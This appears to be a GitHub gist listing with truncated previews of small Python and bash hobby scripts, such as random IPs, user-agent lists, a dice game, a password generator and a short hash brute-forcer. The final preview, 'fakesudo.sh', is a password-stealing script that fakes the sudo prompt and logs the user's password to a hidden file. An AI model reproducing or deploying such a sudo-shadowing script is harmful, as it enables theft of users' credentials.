This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python | |
import argparse | |
import random | |
def generate_random_ip_addresses(num_addresses): | |
addresses = [] | |
for i in range(num_addresses): | |
address = '.'.join(str(random.randint(0, 255)) for _ in range(4)) | |
addresses.append(address) | |
return addresses |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 | |
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 | |
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36 | |
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.89 Safari/537.36 | |
Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0 | |
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.1.2 Safari/605.1.15 | |
Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:78.0) Gecko/20100101 Firefox/78.0 | |
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 | |
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_5) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.1.1 Safari/605.1.15 | |
Mozilla/5.0 (Windows NT 10.0; Win64; x64) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python3 | |
# | |
# simple_dice_game.py | |
# Simple example of a dice game | |
# | |
from random import randint | |
from time import sleep | |
from os import system | |
def head(text): |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python3 | |
# | |
# simple_dice_game.py | |
# Simple example of a dice game | |
# | |
from random import randint | |
from time import sleep | |
from os import system | |
def head(text): |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# created under the alias noobcøder @sololearn | |
# https://code.sololearn.com/cpZmxS2B8657/#py | |
import hashlib | |
import string | |
import itertools | |
def bruteforce(hash_string): | |
charset = string.ascii_lowercase | |
clearpwd = '' | |
pwlen = 4 |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# Generate random passwords from bash command line. | |
function random_passwd() { | |
LENGHT=${1:-16} | |
cat /dev/urandom |tr -dc 'A-Za-z0-9@#$%&()=-_?!+*{[]}' \ | |
| fold -w $LENGHT \ | |
| head -n 3 # shows 3 passwords | |
echo | |
} | |
random_passwd 24 # 24 characters long password |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python | |
# random_user_agent.py | |
from random import choice | |
user_agents = [ | |
"Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.85 Safari/537.36", | |
"Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)", | |
"Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36", | |
"Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)", | |
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:34.0) Gecko/20100101 Firefox/34.0", |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#! /usr/bin/env python3 | |
# clify.py | |
# get a random command line tip from commandlinefu.com | |
# usage: | |
# chmod +x clifu.py | |
# ./clifu.py | |
# python 2 or 3 | |
import requests | |
try: |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# Created by me, under the alias "noobcoder" in Sololearn.com | |
# https://www.sololearn.com/Profile/5439366 | |
# Example of Python code to | |
# print some simple symmetric shapes | |
# using "X" and spaces. | |
def xprint(x, line_width=40): | |
spaces = (line_width - x) // 2 | |
print(" " * spaces + "X" * x + |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
# | |
# fakesudo.sh | |
# catch the user password by shadowing the sudo command | |
cat << EOF > ~/.sudo | |
echo -n "[sudo] password for \$USER: " | |
read -s PASSWORD | |
echo "\$USER:\$PASSWORD" >> ~/.pw | |
sleep 0.5 |
NewerOlder